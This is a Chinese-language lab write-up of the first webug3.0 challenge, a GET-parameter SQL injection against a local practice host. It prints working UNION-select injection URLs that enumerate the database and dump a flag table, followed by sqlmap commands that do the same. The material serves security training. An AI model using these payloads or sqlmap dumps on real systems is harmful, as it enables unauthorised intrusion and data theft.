webug3.0第一关学习笔记

第一题:普通的GET注入
前言:这个注入前期有看过相关的教学视频,对sql注入有一些了解,在手工注入和工具注入中,原理都是修改参数,让数据库报错,是因为开发人员在编程时,对用户输入的参数没有做过滤,直接把错误参数注入到数据库执行,并返回我们想要的结果。
第一种方法:手工注入
1.打开题目页面
webug3.0第一关学习笔记_第1张图片
在“id=1”后面键入单引号根据错误信息判断此参数存在注入点并可判断出后台数据库为MySQL,错误信息如下
webug3.0第一关学习笔记_第2张图片2.为了进行Union联合查询首先需要使用“order by”关键字判断字段数。
webug3.0第一关学习笔记_第3张图片3.如果页面正常显示,说明字段数为4.接下来可以通过batabase()函数查询数据库名称。
http://192.168.0.116/pentest/test/sqli/sqltamp.php?gid=1' union select database(),2,3,4 -- '
webug3.0第一关学习笔记_第4张图片4.确认数据库名称后,查看当前数据库存在那些表。
http://192.168.0.116/pentest/test/sqli/sqltamp.php?gid=1' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='pentesterlab' -- '
webug3.0第一关学习笔记_第5张图片5.通过上述查询发现当前数据库下存在flag表,接下来查看flag表中有那些字段。
查看发现flag表中存在id,flag两个字段,接下来查看字段值。最终得到我们想要的flag。
查询flag:http://192.168.0.116/pentest/test/sqli/sqltamp.php?gid=1' union select flag,2,3,4 from flag -- '
webug3.0第一关学习笔记_第6张图片
对于手工注入的一些问题group_concat的使用可以去:https://blog.csdn.net/lxw826982262/article/details/97383167
二、sqlmap工具注入
1.1首先在终端敲入以下命令获取当前数据库名称
sqlmap -u http://192.168.0.116/pentest/test/sqli/sqltamp.php?gid=1 -p gid --current-db
这里命令意思分别是-u 选取目标 -p 选取测试参数 --current-db查询数据库名称。
webug3.0第一关学习笔记_第7张图片得到数据库名称“pentesterlab”
2.其次在终端敲入以下命令获取当前数据库中表格
sqlmap -u http://192.168.0.116/pentest/test/sqli/sqltamp.php?gid=1 -p gid -D pentesterlab --tables
这里命令是-D要枚举的数据库。 --tables是查询当前数据库的表格。
webug3.0第一关学习笔记_第8张图片得到数据库存在的表名。
3.最终在终端桥如一下命令获得flag表单中的信息:
sqlmap -u http://192.168.0.116/pentest/test/sqli/sqltamp.php?gid=1 -p gid -D pentesterlab -T flag --dump
这里命令意思是:-T要枚举的数据库表。 --dump 是转储。
webug3.0第一关学习笔记_第9张图片通过查询flag,我们得到通关的flag。

你可能感兴趣的:(webug3.0第一关学习笔记)